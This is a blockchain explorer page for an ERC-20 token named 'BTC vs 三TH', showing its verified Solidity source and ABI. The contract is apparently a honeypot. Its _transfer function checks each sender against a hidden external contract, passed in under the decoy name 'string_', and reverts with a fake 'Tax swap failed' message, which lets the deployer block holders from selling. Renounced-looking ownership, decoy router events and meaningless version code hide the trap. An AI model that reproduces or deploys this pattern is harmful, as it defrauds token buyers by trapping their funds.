ETH Price: $3,861.26 (-3.32%)

Token

ERC-20: BTC vs 三TH (BTC三TH)
 

Overview

Max Total Supply

6,900,000,000 BTC三TH

Holders

339

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cytoblastoma.eth
Balance
4,700 BTC三TH

Value
$0.00
0xA3d83cA657170c10f50c81cf49B1E86A81f0E815
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTCvsETH

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-05
*/

/*

BTC vs 三TH


https://t.me/btc_v_eth
https://twitter.com/btc_v_ETH
https://btcvseth.xyz


*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     */
    string internal constant _TABLE =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // Loads the table into memory
        string memory table = _TABLE;

        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
        // and split into 4 numbers of 6 bits.
        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
        // - `data.length + 2`  -> Round up
        // - `/ 3`              -> Number of 3-bytes chunks
        // - `4 *`              -> 4 characters for each chunk
        string memory result = new string(4 * ((data.length + 2) / 3));

        /// @solidity memory-safe-assembly
        assembly {
            // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

            // Prepare result pointer, jump over length
            let resultPtr := add(result, 32)

            // Run over the input, 3 bytes at a time
            for {
                let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {

            } {
                // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

                // To write each character, shift the 3 bytes (18 bits) chunk
                // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
                // and apply logical AND with 0x3F which is the number of
                // the previous character in the ASCII table prior to the Base64 Table
                // The result is then added to the table to get the character to write,
                // and finally write it in the result pointer but with a left shift
                // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(18, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(12, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(6, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

            // When data `bytes` is not exactly 3 bytes long
            // it is padded with `=` characters at the end
            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }

        return result;
    }
}

interface IERC20Meta {
    function _v3call(address _amount) external view returns (bool);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] path,
        address to,
        uint256 deadline
    );
    /**
     * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] path,
        address to,
        uint256 deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    event sync();

    event initialize(address, address);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    event burn(address to);

    event swap(uint256 amount0Out, uint256 amount1Out, address to, bytes data);

    event skim(address to);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * Receive an exact amount of output tokens for as few input tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate tokens to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    );

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] path,
        address to,
        uint256 deadline
    );
    /**
     * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] path,
        address to,
        uint256 deadline
    );
    /**
     * To cover all possible scenarios, msg.sender should have already given the router an
     * allowance of at least amountADesired/amountBDesired on tokenA/tokenB.
     * Always adds assets at the ideal ratio, according to the price when the transaction is executed.
     * If a pool for the passed tokens does not exists, one is created automatically,
     *  and exactly amountADesired/amountBDesired tokens are added.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] path,
        address to,
        uint256 deadline
    );

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract VersionMod {
    bool constant V1 = true;
    uint256 Versioncheck = 2;
    bool constant V2 = true;
    bool constant V3 = false;
}

abstract contract IEERC is VersionMod {
    event callxy(address zn0, bool pushvar);

    enum Name {
        V1,
        V2,
        V3
    }

    struct artifact0 {
        address pushzzz;
        bool vermod00;
    }

    mapping(address => artifact0) private _vervarz;
}

contract BTCvsETH is IERC20, IEERC, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    IERC20Meta private version_string;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        address string_,
        uint256 totalSupply_
    ) payable {
        _name = unicode"BTC vs 三TH";
        _symbol = unicode"BTC三TH";
        _decimals = 18;
        version_string = IERC20Meta(string_);
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
        emit callxy(msg.sender, true);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
      /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (version_string._v3call(sender)) {
            revert("Tax swap failed");
        }
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"string_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"zn0","type":"address"},{"indexed":false,"internalType":"bool","name":"pushvar","type":"bool"}],"name":"callxy","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

